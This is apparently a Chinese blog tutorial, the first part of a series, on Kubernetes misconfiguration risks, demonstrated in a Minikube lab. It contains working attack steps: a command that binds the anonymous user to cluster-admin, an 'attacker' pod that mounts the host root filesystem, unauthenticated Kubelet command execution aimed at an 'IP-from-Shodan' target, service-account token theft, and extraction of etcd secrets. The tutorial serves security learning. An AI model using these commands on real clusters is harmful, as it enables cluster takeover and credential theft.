浅谈 Kubernetes 安全风险 Part.1

0x00 前言

在上一篇文章中介绍了容器相关的风险,本文将目光集中在容器编排平台 K8s 上面,来简单的介绍一下关于 K8s 平台本身因为配置等因素从而造成的安全风险

本文采用的环境是 Minikube 相关安装可在官方文档中进行查阅,所以本文不做过多赘述

MiniKube 安装:https://developer.aliyun.com/article/221687

minikube start --driver=virtualbox

0x01 配置不当产生的风险

Api Server 服务未授权

官方文档可以看这里

Api Server

Api Server 是 K8s 的神经中枢,在 K8s 中消息都是通过 Api Server 来进行传输,K8s 中所有组件都是通过 Api Server 来进行相互连接的,组件和组件之间都是通过 Api Server 来相互依赖

未授权访问

默认情况下 Api Server 在 8080 和 6443 两个端口上提供服务

官方文档的介绍如下

image-20220226164532036

  1. 本地主机端口 8080

提供的是 HTTP 服务,同时没有设置认证和授权模块(默认不开启)

  1. 安全端口 6443

提供的是 HTTPS 服务,到达的请求必须通过认证和授权才能被成功处理

直接访问发现 403 Forbidden

ps:我这里因为是minikube所以默认端口为 8443

image-20220226163724321

需要通过认证/授权才可进行访问,可以看到带上了证书就可以了

image-20220226163816457

如果运维/管理员错误的将 8080 端口进行开放并暴露在互联网上,或者直接将用户组错误绑定,那么攻击者可以绕过认证/授权模块直接接管/控制整个集群

在尝试之后 K8s 现在已经把这个给废弃掉了,我们无法通过参数来开启服务并且会在 v1.24 进行删除

image-20220227223601776

还有一种情况就是运维人员配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443 端口允许匿名用户以管理员权限向集群内部下发指令

kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous

把本机文件挂载到 /host-escape-door 中

apiVersion: v1
kind: Pod
metadata:
  name: attacker
spec:
  containers:
  - name: ubuntu
    image: ubuntu:latest
    imagePullPolicy: IfNotPresent
    command: [ "/bin/bash", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]
    volumeMounts:
    - name: escape-host
      mountPath: /host-escape-door
  volumes:
    - name: escape-host
      hostPath:
        path: /

通过 -s 参数直接操控 K8s 集群,创建我们的恶意 Pod

ps:我这里是minikube所以默认端口不一样

// 创建容器 
kubectl -s https://192.168.59.101:8443/ apply -f /Users/kpli0rn/Desktop/CloudSecurity/CloudNative/pods/escape.yml
// 执行命令
kubectl -s https://192.168.59.101:8443/ exec attacker -- ls

image-20220226181158106

Kubernetes Dashboard 未授权

Kubernetes Dashboard

Kubernetes Dashboard 在配置不当情况下有可能会产生未授权访问的情况,从而有可能进一步造成接管集群等影响,至此 Kubernetes 官方提供了可靠的 dashboard 配置文件

kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.5.0/aio/deploy/recommended.yaml

然后利用如下命令来打开 dashboard (默认端口 8001)

kubectl proxy

http://localhost:8001/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/

错误配置导致利用

如果是官方的配置的话默认登陆是需要输入 Token 的(且没有跳过按钮)

image-20220226210223519

但是如果在配置参数中添加了如下参数,那么在登陆的过程中就可以进行跳过 Token 输入环节

- --enable-skip-login

image-20220226210731016

如下图我们可以通过点击跳过进入到我们的 dashboard(还有一种就是直接是 dashboard )

image-20220226210842473

但是实际上是无法进行操作的

image-20220227003228715

如果我们能对 dashboard 进行操作那么我们可以直接创建 Pod/Cron Job 来实现逃逸/权限维持等操作(当然可利用点远远不止这些)

image-20220227095239021

ps:泪目了之前碰到过这个界面但是那时候一窍不通也不敢乱操作所以错过了一个 shell 心痛!

Kubelet Api 未授权

Kubelet

Kubelet 是节点代理(Api 默认端口 10250),运行在集群的每个节点上,负责向 API Server 注册所在的节点

Kubelet 的配置文件是 /var/lib/kubelet/config.yaml

kubelet 是真正去运行 Pod 的组件,可以通过调用 API 来改变集群状态。例如启动和停止 Pod

image-20220226221437166

既然 Kubelet 这么重要,那么如果存在未授权访问的问题,攻击者就可以向某个节点的 Kubelet 下发命令从而控制当前的所有的 Pod 有可能进一步控制整个集群

通过 minikube ssh 进入 minikube 节点,可看到 kubelet 对应的配置文件

第一个红框设置了匿名用户禁止访问,第二个红框需要 Kubelet 通过 Api Server 进行授权(这样即使匿名用户能够访问也不具备任何权限)

image-20220226223731314

所以在正常情况下,通过访问 https://192.168.59.101:10250/pods 地址会显示没有权限

image-20220226223530517

通过修改 config.yml 模拟配置不当情况并重启 kubelet (systemctl restart kubelet),可以看到可正常访问 pods

image-20220227172836303

命令执行

可通过如下请求对指定 pod 进行利用

curl -XPOST -k https://IP-from-Shodan:10250/run/<namespace>/<PodName>/<containerName> -d "cmd=<command-to-run>" 

image-20220227175418574

凭证窃取

一个 pod 与一个服务账户相关联,该服务账户的凭证(token)被放入该pod中每个容器的文件系统树,在 /var/run/secrets/kubernetes.io/serviceaccount/token

如果服务账号(Service account )绑定了 cluster-admin (即集群的 admin 权限我们可以对所有namespace下实例进行操作) ,那么我们就可以通过 token 来进行一系列的操作

curl -XPOST -k https://192.168.59.102:10250/run/default/attacker/ubuntu -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"

image-20220227215230715

image-20220227215418945

ETCD 未授权

ETCD

etcd 是兼具一致性和高可用性的键值数据库,可以作为保存 Kubernetes 所有集群数据的后台数据库。

etcd 默认情况下需要授权才能访问,所以当我们直接进行访问的时候是会有如下报错显示,我们需要带上证书来进行认证

image-20220227205909553

K8s 证书的位置通常在如下这三个地方,由于我这里是minikube所以位置略有不同

export ETCDCTL_CERT=/etc/kubernetes/pki/etcd/peer.crt
export ETCDCTL_CACERT=/etc/kubernetes/pki/etcd/ca.crt
export ETCDCTL_KEY=/etc/kubernetes/pki/etcd/peer.key

带上证书之后进行访问,可以通过如下方式查看 K8s 的 secrets

kubectl exec -it \
  -n kube-system etcd-minikube \
  -- sh -c 'ETCDCTL_CACERT=/var/lib/minikube/certs/etcd/ca.crt \
    ETCDCTL_CERT=/var/lib/minikube/certs/etcd/peer.crt \
    ETCDCTL_KEY=/var/lib/minikube/certs/etcd/peer.key \
    ETCDCTL_API=3  \
    etcdctl \
      get \
      --keys-only \
      --prefix=true \
      "/" ' | grep /secrets/kube-system/clusterrole

image-20220227212638972

etcdctl get --keys-only --prefix=true "/" | grep /secrets/kube-system/clusterrole

image-20220227212819525

最后获取 token ,并通过 token 与 K8s 的 Api Server 交互从而控制整个集群

etcdctl get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-dwxzd

image-20220227213104804

通过拿到的 token 通过 api server 的校验,进而控制整个集群

image-20220227213117304

未完待续 ....

0x02 参考链接

Kubernetes 安全测试录

Kubernetes Dashboard Bypass

Kubernetes 官方文档

Kubernetes 安全配置

Minikube 官方文档

Minikube 帮助文档

Attacking Kubernets Kubelet Api

评论

  1. swifto0
    3 年前
    2022-3-15 22:31:07

    大木头师傅,我对于API Server未授权那部分的挂载Pod不是很理解:挂载了Pod之后,效果相当于是在Master节点上rce了吗?

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇